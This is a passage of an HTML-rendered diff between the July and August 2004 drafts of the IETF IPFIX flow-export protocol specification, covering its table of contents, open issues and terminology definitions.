.....................17</font></strike> <strong><font color=3Dgreen>Proce=
ss.....................................16</font></strong>=20
     5.3.6   Failover...............................................17=20
      5.4 <strike><font color=3Dred>UDP..................................=
.....................18</font></strike> <strong><font color=3Dgreen>UDP..=
.....................................................17</font></strong>=20
     5.4.1   Congestion <strike><font color=3Dred>Avoidance..............=
.....................18</font></strike> <strong><font color=3Dgreen>Avoid=
ance...................................17</font></strong>=20
     5.4.2   <strike><font color=3Dred>Reliability.......................=
.....................18</font></strike>   <strong><font color=3Dgreen>Rel=
iability............................................17</font></strong>=20
     5.4.3   MTU....................................................18=20
     5.4.4   Port <strike><font color=3Dred>Numbers......................=
.....................19</font></strike> <strong><font color=3Dgreen>Numbe=
rs...........................................18</font></strong>=20
     5.4.5   Exporting <strike><font color=3Dred>Process.................=
.....................19</font></strike> <strong><font color=3Dgreen>Proce=
ss......................................18</font></strong>=20
     5.4.5.1  <strike><font color=3Dred>Template.........................=
.....................19</font></strike>  <strong><font color=3Dgreen>Temp=
late..............................................18</font></strong>=20
     5.4.6   Collecting <strike><font color=3Dred>Process................=
.....................19</font></strike> <strong><font color=3Dgreen>Proce=
ss.....................................18</font></strong>=20
     5.4.7   Failover...............................................19=20
     6. Message <strike><font color=3Dred>Layout.........................=
.....................20</font></strike> <strong><font color=3Dgreen>Layou=
t..............................................19</font></strong>=20
     7. IPFIX Message Format........................................21=20
      7.1 Header Format.............................................21=20
      7.2 Field Type Format.........................................22=20
      7.3 Template <strike><font color=3Dred>FlowSet Format..............=
.....................23=20
      7.4 Data FlowSet Format.......................................26=20
      7.5 Options Template FlowSet Format...........................27=20
     7.5.1   Options Template FlowSet Format........................28</f=
ont></strike> <strong><font color=3Dgreen>Set............................=
..................23</font></strong>=20
=20
=20
  Claise, et. al            Standard Track                    [Page 2]=20
                   IPFIX Protocol <strike><font color=3Dred>Specification=
s             July</font></strike> <strong><font color=3Dgreen>Specificat=
ion            August</font></strong> 2004=20
=20
=20
      <strong><font color=3Dgreen>7.4 Data Set...........................=
.......................25=20
      7.5 Options Template Set......................................27=20
     7.5.1   Scope..................................................27</f=
ont></strong>=20
     7.5.2   Options <strong><font color=3Dgreen>Template Set Format.....=
.......................28=20
     7.5.3   Options</font></strong> Data Record Format..................=
...........30=20
     8. Specific Reporting Requirements.............................32=20
      8.1 The Metering Process Statistics Option <strike><font color=3Dre=
d>Template...........33</font></strike> <strong><font color=3Dgreen>Templ=
ate...........32</font></strong>=20
     9. Export Packet "Export Time" Computation and Flow Record Time33=20
      9.1 Microsecond Precision.....................................33=20
      9.2 Millisecond Precision.....................................34=20
      9.3 Nanosecond <strike><font color=3Dred>Precision.................=
.....................35</font></strike> <strong><font color=3Dgreen>Preci=
sion......................................34</font></strong>=20
      9.4 Multiple Precisions.......................................35=20
     10. Linkage with the Information Model.........................35=20
      10.1 Boolean..................................................35=20
      10.2 Byte.....................................................35=20
      10.3 <strike><font color=3Dred>UnsignedByte........................=
.....................36</font></strike> <strong><font color=3Dgreen>Unsig=
nedByte.............................................35</font></strong>=20
      10.4 <strike><font color=3Dred>Short...............................=
.....................36</font></strike> <strong><font color=3Dgreen>Short=
....................................................35</font></strong>=20
      10.5 Reduced Size Encoding of <strike><font color=3Dred>Integral Ty=
pes..................36</font></strike> <strong><font color=3Dgreen>Integ=
er Types...................36</font></strong>=20
     11. Variable Length <strike><font color=3Dred>Data Type.............=
.....................37</font></strike> <strong><font color=3Dgreen>Infor=
mation Element........................36</font></strong>=20
     12. Template <strike><font color=3Dred>Management...................=
.....................38</font></strike> <strong><font color=3Dgreen>Manag=
ement........................................37</font></strong>=20
     13. The Collecting Process's Side..............................39=20
     14. Security Considerations....................................40=20
      14.1 IPsec Usage..............................................41=20
     14.1.1  Selectors..............................................41=20
     14.1.2  Mode...................................................41=20
     14.1.3  Key Management.........................................42=20
     14.1.4  Security Policy........................................42=20
     14.1.5  Authentication.........................................42=20
     14.1.6  Availability...........................................42=20
      14.2 TLS Usage................................................42=20
      14.3 Protection against DoS <strike><font color=3Dred>attacks......=
.....................43</font></strike> <strong><font color=3Dgreen>attac=
ks...........................42</font></strong>=20
      14.4 When IPsec or TLS is not an option.......................43=20
      14.5 Logging an IPFIX Attack..................................44=20
     15. IANA Considerations........................................44=20
     16. Examples...................................................44=20
      16.1 Message Header Example...................................45=20
      16.2 Template <strike><font color=3Dred>FlowSet Example............=
.....................45</font></strike> <strong><font color=3Dgreen>Set E=
xample.....................................45</font></strong>=20
      16.3 Data <strike><font color=3Dred>FlowSet Example................=
.....................46</font></strike> <strong><font color=3Dgreen>Set E=
xample.........................................46</font></strong>=20
      16.4 Options Template <strike><font color=3Dred>FlowSet Example....=
.....................47</font></strike> <strong><font color=3Dgreen>Set E=
xample.............................47</font></strong>=20
      16.5 Data <strike><font color=3Dred>FlowSet</font></strike> <strong=
><font color=3Dgreen>Set</font></strong> with Options Data Records <strik=
e><font color=3Dred>Example...........48</font></strike> <strong><font co=
lor=3Dgreen>Example...............48</font></strong>=20
     17. References.................................................48=20
      17.1 Normative References.....................................48=20
      17.2 Informative References...................................49=20
     18. Acknowledgments............................................50=20
     =20
 1.     Points of Discussion=20
   =20
 <strike><font color=3Dred>1.1=20
     Open Issues=20
   =20
   This section covers the open issues, still to be resolved/updated in=20
   this draft:</font></strike>=20
   =20


=20
=20
  Claise, et. al            Standard Track                    [Page 3]=20
                   IPFIX Protocol <strike><font color=3Dred>Specification=
s             July</font></strike> <strong><font color=3Dgreen>Specificat=
ion            August</font></strong> 2004=20
=20
=20
   =20
   <strike><font color=3Dred>Issues in the Terminology</font></strike>=20
=20
=20
=20
   =20
   <strong><font color=3Dgreen>This</font></strong> section=20
   =20
   <strike><font color=3Dred>PROTO-1: Is flowSet</font></strike> <strong>=
<font color=3Dgreen>covers</font></strong> the <strike><font color=3Dred>=
right term to use?=20
       - leave as is=20
       - Record Set=20
       - Record Array=20
       - Record Collection=20
       - Record List=20
   PROTO-2: Some discrepancies between data types, field type and=20
   Information=20
       Element terminology.=20
       - field type (IPFIX-PROTO) conflicts with field ID (IPFIX-INFO)=20
       - suggestion: use field type instead of field Id in IPFIX-INFO=20
       - rename 'type' to 'data type' and 'info elements'</font></strike>=
 <strong><font color=3Dgreen>open issues, still</font></strong> to <strik=
e><font color=3Dred>'fields'=20
          in IPFIX-INFO=20
    =20
   Issues</font></strike> <strong><font color=3Dgreen>be resolved/updated=
</font></strong> in=20
   <strong><font color=3Dgreen>this draft.  Note that</font></strong> the=
 <strike><font color=3Dred>Transport Protocol section</font></strike> <st=
rong><font color=3Dgreen>issues starting with PROTO-31 have been=20
   added to this draft version.</font></strong> =20
   =20
   PROTO-4: TCP section not yet covered.  Starting point: draft-leinen-
   ipfix-tcp-00.txt. Ideally the same structure as SCTP and UDP should=20
   be preserved. =20
   =20
   <strike><font color=3Dred>Issues in the IPFIX Message Format section=20
   =20
   PROTO-16: relationship between several different scopes in one=20
   record=20
   PROTO-17: redefine scope values?=20
       - 1 System=20
         2 IP interface=20
         3 observation domain (SID) (preciously called line card)=20
         4 reserved (previously used for cache)=20
         5 template=20
         6 metering process?=20
         7 flow recording process?=20
         8 exporting process?=20
         9 observation point?=20
   PROTO-18: Can we have an optional length of 0 bytes for the scope=20
   section in the option template?=20
   PROTO-19: Do we really need different templates formats for flows=20
   and options?=20
   PROTO-20: Do we really need different record formats for flows and=20
   options?=20
=20
=20
 Claise, et. al             Standard Track                    [Page 4]=20
=0C                   IPFIX Protocol Specifications             July 2004=
=20
=20
=20
   =20
   Issues in the Specific Reporting Requirement section</font></strike>  =
=20
   =20
   PROTO-21: Do we need to define some mandatory content of the=20
   metering process statistics option template?=20
       - Maurizio suggested text on the mailing list=20
    =20
   <strike><font color=3Dred>Issues in the Export Packet "Export Time" Co=
mputation</font></strike>=20
       <strong><font color=3Dgreen>- proposal after IETF60: look at what =
is required in [IPFIX-
   REQ],</font></strong> and <strike><font color=3Dred>Flow=20
   Record Time section=20
   =20
   PROTO-23: Finalize</font></strike> <strong><font color=3Dgreen>come up=
 with a minimum set of data types.=20
   Note:</font></strong> the <strike><font color=3Dred>time details=20
   =20
   Issues</font></strike> <strong><font color=3Dgreen>ipfixOption is not =
yet defined</font></strong> in the <strike><font color=3Dred>Linkage with=
</font></strike> <strong><font color=3Dgreen>[IPFIX-INFO]; needed=20
   for the metering process statistics =20
   =20
   PROTO-23: Finalize</font></strong> the <strong><font color=3Dgreen>tim=
e details. The time-related</font></strong> Information <strike><font col=
or=3Dred>Model section</font></strike>=20
   <strong><font color=3Dgreen>Elements are not defined in [IPFIX-INFO]</=
font></strong>=20
    =20
   PROTO-24: Section 11 "Linkage with the information model" must be=20
   completed with types used in [IPFIX-INFO]=20
   =20
   <strike><font color=3Dred>Issues in the Template Management section</f=
ont></strike>=20
    =20
   PROTO-25: The section <strike><font color=3Dred>11</font></strike> "Te=
mplate Management" <strong><font color=3Dgreen>and "The Collecting=20
   Process's Side"</font></strong> will have to updated according to the =
transport=20
   protocol.=20
       - For example, the point 2 of the section "Template Management".=20
         Remark: the template management will vary with TCP, SCTP,  =20
         etc...=20
         Must have both sections updated: transport updated and =20
         template management sections (BTW, this is the same for the =20
         failover section).=20
   <strike><font color=3Dred>PROTO-29: The insertion</font></strike>=20
       <strong><font color=3Dgreen>- From Deri's draft: On the other hand=
 as a probe can send flows=20
       to several collectors (e.g. in round-robin or as a reflector) it=20
       must keep track</font></strong> of <strong><font color=3Dgreen>per=
-collector templates transmission. This=20
       means that if collector X reconnects,</font></strong> the <strike>=
<font color=3Dred>new transport protocol sections has=20
   highlighted some inconsistency</font></strike> <strong><font color=3Dg=
reen>probe must send the=20
       template only to this collector and not to all collectors.=20
       =20
     PROPOSAL, after IETF60: treat UDP as the exception,</font></strong> =
in the <strong><font color=3Dgreen>template=20
     subsection of the UDP transport protocol.=20
   =20

=20
=20
  Claise, et. al            Standard Track                    [Page 4]=20
                   IPFIX Protocol Specification            August 2004=20
=20
=20
   PROTO-26: IANA considerations section to be updated. Consensus from=20
   IETF60 + notion of security. Nevil wrote the</font></strong> section <=
strike><font color=3Dred>13 (template=20
   management)</font></strike> <strong><font color=3Dgreen>already.=20
   =20
   PROTO-30: review the requirements draft to see what we miss, once=20
   it's an I-RFC=20
   =20
   New Issue=20
   =20
   PROTO-31 The "Sequence Number"</font></strong> and <strong><font color=
=3Dgreen>"Source ID" treatment in case of=20
   multiple streams in SCTP is not well described. For example, in case=20
   the Templates are sent to one stream and the flow records to another=20
   one, what should the "Sequence Number"? What should the collector=20
   do? See David Moore's post  =20

   PROTO-32 Correct this issue below=20

     The Collecting Process SHOULD verify that the received IPFIX=20
     Messages inside one stream do not have differing SID values and=20
     silently discard any data that does NOT match the initial value. =20

     The Exporting Process SHOULD NOT transmit messages inside one=20
     stream with multiple SID values. The correlated Flow Records are=20
     then treated like a normal export Flow.=20

   PROTO-33: correct the next paragraphs: silently? reset the=20
   connection? log an error? should the exporting process be allowed to=20
   sent multiple SID per stream.=20

        The Collecting Process SHOULD verify that the received IPFIX=20
        Messages inside one stream do not have differing SID values and=20
        silently discard any data that does NOT match the initial=20
        value. =20

        The Exporting Process SHOULD NOT transmit messages inside one=20
        stream with multiple SID values. The correlated Flow Records=20
        are then treated like a normal export Flow.=20
   PROTO-34: Need a security expert to review</font></strong> the <strike=
><font color=3Dred>section 14 (The Collecting Process's Side).=20
   =20
     =20
   Issues</font></strike> <strong><font color=3Dgreen>security section:=20
   [TBD]</font></strong> in the <strike><font color=3Dred>IANA section=20
   =20
   PROTO-26: IANA considerations</font></strike> <strong><font color=3Dgr=
een>security section, [EDITOR'S NOTE: the security</font></strong> sectio=
n <strike><font color=3Dred>to</font></strike>=20
   <strong><font color=3Dgreen>may need</font></strong> be <strike><font =
color=3Dred>updated: have a look at  =20
        RFC 2434, which sets out guidelines for IANA Considerations.=20
        Also, searching the RFCs for 'IANA Considerations' brings=20
        up quite a few RFCs</font></strike> <strong><font color=3Dgreen>a=
dapted</font></strong> to <strike><font color=3Dred>look at as models.=20
   =20
   Issues - Miscellaneous=20
   =20
   PROTO-27: Correct</font></strike> the <strike><font color=3Dred>exampl=
es: no more FlowSet 0</font></strike> <strong><font color=3Dgreen>revised=
 transport section], [XXX-
   REFERENCE]</font></strong> and <strike><font color=3Dred>1</font></str=
ike> <strong><font color=3Dgreen>[XXX-SCTP-BLIND-SPOOFING-REFERENCE] not =
defined=20
   =20
   PROTO-35: make sure the definitions match between [IPFIX-ARCH] and=20
   [IPFIX-PROTO]</font></strong>=20
   =20
=20
=20
  Claise, et. al            Standard Track                    [Page 5]=20
                   IPFIX Protocol <strike><font color=3Dred>Specification=
s             July</font></strike> <strong><font color=3Dgreen>Specificat=
ion            August</font></strong> 2004=20
=20
=20
=20
 <strike><font color=3Dred>1.2=20
     Action Items=20
   =20
   This section covers the action items for this draft =20
   PROTO-29: number all the figures=20
   PROTO-30:</font></strike>=20
=20
=20
   <strong><font color=3Dgreen>PROTO-36: Insert an Enterprise Specific In=
formation Element example.=20
   For scope and non scope.=20
   PROTO-37:</font></strong> Review the <strike><font color=3Dred>require=
ments draft to see what we miss,</font></strike> <strong><font color=3Dgr=
een>Options Template example</font></strong> once=20
   <strike><font color=3Dred>it's</font></strike> <strong><font color=3Dg=
reen>the Source ID is=20
   defined as</font></strong> an <strike><font color=3Dred>I-RFC</font></=
strike> <strong><font color=3Dgreen>information element</font></strong>=20

   =20
 2.     Introduction=20
   =20
   A data network with IP traffic, primarily consists of IP Flows=20
   passing through the network elements of the network.  It is often=20
   interesting, useful or even a requirement to have access to=20
   information about these flows that pass through the network elements=20
   for administrative or other purposes.  The IPFIX collecting process=20
   should be able to receive the flow information passing through=20
   multiple network elements within the data network.  This requires=20
   uniformity in the method of representing the flow information and=20
   the means of communicating the flows from the network elements to=20
   the collection point.  This document specifies the protocol to=20
   achieve these <strike><font color=3Dred>afore mentioned</font></strike=
> <strong><font color=3Dgreen>aforementioned</font></strong> requirements=
.  This document specifies=20
   in detail the representation of different flows, the additional data=20
   required for flow interpretation, packet format, transport=20
   mechanisms used, security concerns, etc.=20
   =20
 2.1      IPFIX Documents Overview=20
   =20
   The IPFIX protocol provides network administrators with access to IP=20
   flow information.  The architecture for the export of measured IP=20
   flow information out of an IPFIX exporting process to a collecting=20
   process is defined in [IPFIX-ARCH], per the requirements defined in=20
   [IPFIX-REQ].  [IPFIX-PROTO] specifies how IPFIX flow record data,=20
   options record <strike><font color=3Dred>data</font></strike> <strong>=
<font color=3Dgreen>data,</font></strong> and <strike><font color=3Dred>c=
ontrol information is</font></strike> <strong><font color=3Dgreen>templat=
es are</font></strong> carried via a=20
   <strike><font color=3Dred>congestion-aware</font></strike> <strong><fo=
nt color=3Dgreen>congestion-
   aware</font></strong> transport protocol from IPFIX exporting process =
to IPFIX=20
   collecting process.  IPFIX has a formal description of IPFIX=20
   information elements (fields), their name, type and additional=20
   semantic information, as specified in [IPFIX-INFO].  Finally [IPFIX-
   AS] describes what type of applications can use the IPFIX protocol=20
   and how they can use the information provided.  It furthermore shows=20
   how the IPFIX framework relates to other architectures and=20
   frameworks. =20
   =20




=20
=20
  Claise, et. al            Standard Track                    [Page 6]=20
                   IPFIX Protocol <strike><font color=3Dred>Specification=
s             July</font></strike> <strong><font color=3Dgreen>Specificat=
ion            August</font></strong> 2004=20
=20
=20
   <strike><font color=3Dred>The IPFIX protocol supports packet sampling.=
 The methods of metering=20
   packet samples are out of scope of this specification.</font></strike>=
=20
=20
=20
 3.    Terminology=20
=20
   The <strike><font color=3Dred>definition</font></strike> <strong><font=
 color=3Dgreen>definitions</font></strong> of the basic terms like IP Tra=
ffic Flow, Exporting=20
   Process, Collecting Process, Observation <strike><font color=3Dred>Poi=
nts</font></strike> <strong><font color=3Dgreen>Points,</font></strong> e=
tc. are=20
   semantically identical with that found in the IPFIX requirements=20
   document [IPFIX-REQ].  Some of the terms have been expanded for more=20
   clarity when defining the protocol.  Additional terms required for=20
   the protocol has also been defined. <strike><font color=3Dred>For the =
same terms defined</font></strike>  <strong><font color=3Dgreen>Definitio=
ns</font></strong> in=20
   <strike><font color=3Dred>both</font></strike> this document=20
   and <strike><font color=3Dred>[IPFIX-ARCH], the</font></strike> <stron=
g><font color=3Dgreen>in [IPFIX-ARCH] are equivalent, except that</font><=
/strong> definitions <strong><font color=3Dgreen>which</font></strong>=20
   are <strike><font color=3Dred>identical=20
   with [IPFIX-ARCH].</font></strike> <strong><font color=3Dgreen>only re=
levant to the IPFIX protocol only appear here.  Should=20
   there be any apparent discrepancy in definitions between these two=20
   documents, the definitions defined in this document take precedence.</=
font></strong>=20
   =20
   The terminology summary table in Section 3.1 gives a quick overview=20
   of the relationships between some of the different terms defined.=20
 =20
 Observation Point=20
=20
   The Observation Point is a location in the network where IP packets=20
   can be observed.  Examples are a line to which a probe is attached,=20
   a shared medium such as an Ethernet-based LAN, a single port of a=20
   router, or a set of interfaces (physical or logical) of a router.  =20
   =20
   Note that one Observation Point may be a superset of several=20
   other Observation Points.  For <strike><font color=3Dred>example</font=
></strike> <strong><font color=3Dgreen>example,</font></strong> one Obser=
vation Point can be=20
   an entire line card.  This would be the superset of the=20
   individual Observation Points at the line card's interfaces. =20
=20
 Observation Domain=20
=20
   The set of Observation Points, which is the largest aggregatable set=20
   of Flow information at the Metering Process is termed an Observation=20
   Domain.  Each Observation Domain presents itself as a unique ID <stron=
g><font color=3Dgreen>(its=20
   Source ID, SID)</font></strong> to the Collecting Process for identify=
ing the IPFIX=20
   Messages it generates.=20
   =20
   For example, a router line card composed of several interfaces with=20
   each interface being an Observation Point.  Every Observation Point=20
   is associated with an Observation Domain.=20
   =20
 IP Traffic Flow or Flow=20
=20


=20
=20
  Claise, et. al            Standard Track                    [Page 7]=20
                   IPFIX Protocol <strike><font color=3Dred>Specification=
s             July</font></strike> <strong><font color=3Dgreen>Specificat=
ion            August</font></strong> 2004=20
=20
=20
   There are several definitions of the term 'flow' being used by the=20
   Internet community.   Within the context of IPFIX we use the=20
   following one:=20
   =20
   A flow is defined as a set of IP packets passing an <strike><font colo=
r=3Dred>observation=20
   point</font></strike> <strong><font color=3Dgreen>Observation=20
   Point</font></strong> in the network during a certain time interval.  =
All packets=20
   belonging to a particular flow have a set of common properties. =20
   Each property is defined as the result of applying a function to the=20
   values of:=20
   =20
      1. one or more packet header field (e.g. destination IP address),  =
 =20
      transport header field (e.g. destination port number), or =20
      application header field (e.g. RTP header fields [RFC1889])=20
   =20
      2. one or more characteristics of the packet itself (e.g. number =20
      of MPLS labels, etc...)=20
   =20
      3. one or more of fields derived from packet treatment (e.g. next =20
      hop IP address, the output interface, etc...)=20
   =20
   A packet is defined to belong to a flow if it completely satisfies=20
   all the defined properties of the flow.=20
   =20
   This definition covers the range from a flow containing all <strike><f=
ont color=3Dred>packet</font></strike> <strong><font color=3Dgreen>packet=
s</font></strong>=20
   observed at a network interface to a flow consisting of just a=20
   single packet between two <strike><font color=3Dred>applications with<=
/font></strike> <strong><font color=3Dgreen>applications.  It includes pa=
ckets=20
   selected by</font></strong> a <strike><font color=3Dred>specific seque=
nce=20
   number.</font></strike> <strong><font color=3Dgreen>sampling mechanism=
.</font></strong>=20
=20
 Flow Key=20
 =20
   Each of the fields which belong to=20
   1. Packet header (e.g. destination IP address)=20
   2. Property of the packet itself (e.g. packet length)=20
   3. Derived from packet treatment (e.g. AS number)=20
   which is used to define a Flow is termed <strike><font color=3Dred>as =
Flow Key.=20
   =20
 Flow Type=20
   =20
   A function F which would take input as</font></strike> a <strike><font=
 color=3Dred>set of Flow Keys and=20
   produce as output one or more Flows depending on the combination of=20
   values for the set of</font></strike> Flow <strike><font color=3Dred>K=
eys.=20
   =20

=20
=20
 Claise, et. al             Standard Track                    [Page 8]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike> <strong><font color=3Dgreen>Key.</font></strong>=20
   =20
 Flow Record=20
=20
   A Flow Record contains information about a specific Flow that was=20
   observed at an Observation Point.  A Flow Record contains measured=20
   properties of the Flow (e.g. the total number of bytes of all=20
   packets of the Flow) and usually characteristic properties of the=20
   Flow (e.g. source IP address). =20
=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                 [Page 8]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
   =20
 Metering Process=20
=20
   The Metering Process generates Flow Records.  Input to the process=20
   are packet headers observed at an Observation Point and packet=20
   treatment at the Observation Point, for example the selected output=20
   interface.=20
   =20
   The Metering Process consists of a set of functions that includes=20
   packet header capturing, timestamping, sampling, classifying, and=20
   maintaining Flow Records.=20
   =20
   The maintenance of Flow Records may include creating new records,=20
   updating existing ones, computing Flow statistics, deriving further=20
   Flow properties, detecting Flow expiration, passing Flow Records to=20
   the Exporting Process, and deleting Flow Records.=20
   =20
 Exporting Process=20
=20
   The Exporting Process sends Flow Records to one or more Collecting=20
   Processes.  The Flow Records are generated by one or more Metering=20
   Processes.=20
   =20
 IPFIX Device=20
   =20
   A device hosting at least an Observation Point, a Metering Process=20
   and an Exporting Process.  Typically, corresponding Observation=20
   Point(s), Metering Process(es) and Exporting Process(es) are co-
   located at this device, for example at a router.=20
=20
 <strike><font color=3Dred>IPFIX Node=20
   =20
   An IPFIX node is a host that implements the IPFIX protocol</font></str=
ike>=20
   =20
 <strong><font color=3Dgreen>Exporter=20
   =20
   The device</font></strong> which <strike><font color=3Dred>means it co=
ntains</font></strike> <strong><font color=3Dgreen>hosts</font></strong> =
an Exporting <strike><font color=3Dred>Process or a Collecting =20
   Process or both.</font></strike> <strong><font color=3Dgreen>Process.<=
/font></strong>=20
   =20
 Collecting Process=20
=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
               [Page 9]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>=20
=20
   The Collecting Process receives Flow Records from one or more=20
   Exporting Processes.  The Collecting Process might store received=20
   Flow Records or further process them, but these actions are out of=20
   the scope of this document.=20
   =20
 Collector=20
=20
=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                 [Page 9]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
   The device which hosts one or more Collecting Processes.=20
   =20
 <strike><font color=3Dred>Flow Recording Process=20
=20
   The Flows generated from the metering device(s) in an Observation=20
   Domain could  be collected into one or more database before=20
   exporting. This functional block in addition to maintaining the Flow=20
   database(s) does Flow aggregation, maintain the aggregate statistics=20
   etc. =20
   =20
   This block is optional for an IPFIX device.</font></strike>=20
   =20
 Template=20
=20
   Template is an ordered <strike><font color=3Dred>n-tuple (e.g. &lt;typ=
e,length&gt;, TLV),</font></strike> <strong><font color=3Dgreen>sequence =
of pairs (&lt;type,length&gt;),</font></strong> used to=20
   completely identify the structure and semantics of a particular=20
   information that needs to be communicated from the IPFIX Device to=20
   the Collector.  Each template is uniquely identifiable by some means=20
   (e.g. by using a Template ID).=20
=20
 <strike><font color=3Dred>Control Information, Data Stream=20
=20
   The information that needs to be exported from the IPFIX device can=20
   be classified into the following categories:=20
   =20
   - Control Information:=20
   This includes the Flow type definition, selection criteria for=20
   packets within the Flow sent by the Exporting Process and any IPFIX=20
   protocol messages (e.g. keepalives). The 'control' stream carries=20
   all the information needed for the end-points to understand the=20
   IPFIX protocol, and specifically for the receiver to understand and=20
   interpret the data sent by the sender.=20
   =20
   - Data Stream:=20

=20
=20
 Claise, et. al             Standard Track                   [Page 10]=20
=0C                   IPFIX Protocol Specifications             July 2004=
=20
=20
=20
   This includes data records carrying the field values for the various=20
   observed Flows at each of the Observation Point. A sequence of such=20
   records may also be described as a Data Stream.</font></strike>=20
   =20
 IPFIX Message=20
=20
   An IPFIX Message is a message originating at the Exporting Process=20
   that carries the IPFIX records of this Exporting Process and whose=20
   destination is the Collecting Process.  An IPFIX Message is=20
   encapsulated within a transport layer header.=20
   =20
 Message Header=20
=20
   The Message Header is the first part of an IPFIX Message, which=20
   provides basic information about the message such as the IPFIX=20
   version, length of the message, message sequence number, etc.=20
   =20
 Template Record=20
=20
   A Template Record defines the structure and interpretation of fields=20
   in a Flow Data Record.=20
   =20
 Flow Data Record=20
=20
   A Flow Data Record is a data record that contains values of the Flow=20
   parameters corresponding to a Template Record. =20
   =20
 Options Template Record=20
=20
   An Options Template Record defines the structure and interpretation=20
   of fields in an Options Data Record, including defining how to scope=20
   the applicability of the Options Data Record.=20
   =20
 Options Data Record=20
   The Options Data Record is a data record that contains values and=20
   scope information of the Flow measurement parameters, corresponding=20
   to an Options Template Record.=20
=20
 <strike><font color=3Dred>FlowSet</font></strike>=20
=20
=20
  Claise, et. al            Standard Track                   [Page <strik=
e><font color=3Dred>11]</font></strike> <strong><font color=3Dgreen>10]</=
font></strong>=20
                   IPFIX Protocol <strike><font color=3Dred>Specification=
s             July</font></strike> <strong><font color=3Dgreen>Specificat=
ion            August</font></strong> 2004=20
=20
=20
   <strike><font color=3Dred>FlowSet</font></strike>=20
=20
=20
   =20
 <strong><font color=3Dgreen>Set=20
=20
   Set</font></strong> is a generic term for a collection of records that=
 have a=20
   similar structure.  In an IPFIX Message, one or more <strike><font col=
or=3Dred>FlowSets</font></strike> <strong><font color=3Dgreen>Sets</font>=
</strong> follow the=20
   Message Header.=20
   =20
   There are three different types of <strike><font color=3Dred>FlowSets:=
</font></strike> <strong><font color=3Dgreen>Sets:</font></strong> Templa=
te <strike><font color=3Dred>FlowSet,</font></strike> <strong><font color=
=3Dgreen>Set,</font></strong> Options=20
   Template <strike><font color=3Dred>FlowSet,</font></strike> <strong><f=
ont color=3Dgreen>Set,</font></strong> and Data <strike><font color=3Dred=
>FlowSet.</font></strike> <strong><font color=3Dgreen>Set.</font></strong=
> =20
    =20
 Template <strike><font color=3Dred>FlowSet</font></strike> <strong><font=
 color=3Dgreen>Set</font></strong>=20
=20
   A Template <strike><font color=3Dred>FlowSet</font></strike> <strong><=
font color=3Dgreen>Set</font></strong> is a collection of one or more Tem=
plate Records that=20
   have been grouped together in an IPFIX Message. =20
    =20
 Options Template <strike><font color=3Dred>FlowSet</font></strike> <stro=
ng><font color=3Dgreen>Set</font></strong>=20
=20
   An Options Template <strike><font color=3Dred>FlowSet</font></strike> =
<strong><font color=3Dgreen>Set</font></strong> is a collection of one or=
 more Options=20
   Template Records that have been grouped together in an IPFIX=20
   Message.=20
   =20
 Data <strike><font color=3Dred>FlowSet</font></strike> <strong><font col=
or=3Dgreen>Set</font></strong>=20
=20
   A Data <strike><font color=3Dred>FlowSet</font></strike> <strong><font=
 color=3Dgreen>Set</font></strong> is one or more records, of the same ty=
pe, that are=20
   grouped together in an IPFIX Message.  Each record is either a Flow=20
   Data Record or an Options Data Record previously defined by a=20
   Template Record or an Options Template Record.=20
   =20
 Information Element=20
   =20
   An Information Element is a protocol and encoding independent=20
   description of an attribute which may appear in an IPFIX Flow=20
   Record.  The IPFIX information model [IPFIX-INFO] defines the base=20
   set of Information Elements for IPFIX.  The type associated with an=20
   Information Element indicates constraints on what it may contain and=20
   also determine the valid encoding mechanisms for use in IPFIX.=20
=20
 3.1      Terminology Summary Table=20
=20
    +------------------+---------------------------------------------+=20
    |                  |                    Contents                 |=20
    |                  +--------------------+------------------------+=20
    |     <strike><font color=3Dred>FlowSet</font></strike>       <strong=
><font color=3Dgreen>Set</font></strong>        | Template  Record   |   =
 <strike><font color=3Dred>Data Record</font></strike>      <strong><font=
 color=3Dgreen>data record</font></strong>       |=20
=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                [Page 11]=20
                   IPFIX Protocol Specification            August 2004</f=
ont></strong>=20
=20
=20
    +------------------+--------------------+------------------------+=20
    |                  |                    |  Flow Data Record(s)   |=20
    |   Data <strike><font color=3Dred>FlowSet</font></strike> <strong><f=
ont color=3Dgreen>Set</font></strong>       |          /         |       =
   or            |=20
    |                  |                    | Options Data Record(s) |=20
=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
              [Page 12]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>=20
    +------------------+--------------------+------------------------+=20
    |   Template <strike><font color=3Dred>FlowSet</font></strike> <stron=
g><font color=3Dgreen>Set</font></strong>   | Template Record(s) |       =
    /            |=20
    +------------------+--------------------+------------------------+=20
    | Options Template | Options Template   |           /            |=20
    | <strike><font color=3Dred>FlowSet</font></strike>       <strong><fo=
nt color=3Dgreen>Set</font></strong>        | Record(s)          |       =
                 |=20
    +------------------+--------------------+------------------------+=20
=20
      <strong><font color=3Dgreen>Figure A: Terminology Summary Table</fo=
nt></strong>=20
   =20
   A Data <strike><font color=3Dred>FlowSet</font></strike> <strong><font=
 color=3Dgreen>Set</font></strong> is composed of an Options Data Record(=
s) or Flow Data=20
   Record(s).  No Template Record is included.  A Template Record=20
   defines the Flow Data Record, and an Options Template Record defines=20
   the Options Data Record. =20
   =20
   A Template <strike><font color=3Dred>FlowSet</font></strike> <strong><=
font color=3Dgreen>Set</font></strong> is composed of Template Record(s).=
  No Flow or=20
   Options Data Record is included.=20
    =20
   An Options Template <strike><font color=3Dred>FlowSet</font></strike> =
<strong><font color=3Dgreen>Set</font></strong> is composed of Options Te=
mplate Record(s). =20
   No Flow or Options Data Record is included. =20
=20
 4.     Criteria for Flow Expiration and Export =20
   =20
 4.1      Flow Expiration=20
    =20
   A Flow is considered as expired under the following conditions: =20
   =20
   1. If the Metering Process can detect the end of a Flow.  For=20
   example, if the FIN or RST bit is detected in a TCP=20
   [TCP] connection. =20
   =20
   2. If no packets belonging to the Flow have been observed for a=20
   certain period of time.  This time period <strike><font color=3Dred>SH=
OULD</font></strike> <strong><font color=3Dgreen>should</font></strong> b=
e configurable at=20
   the Metering Process.  Note that if the time period is set to 0, the=20
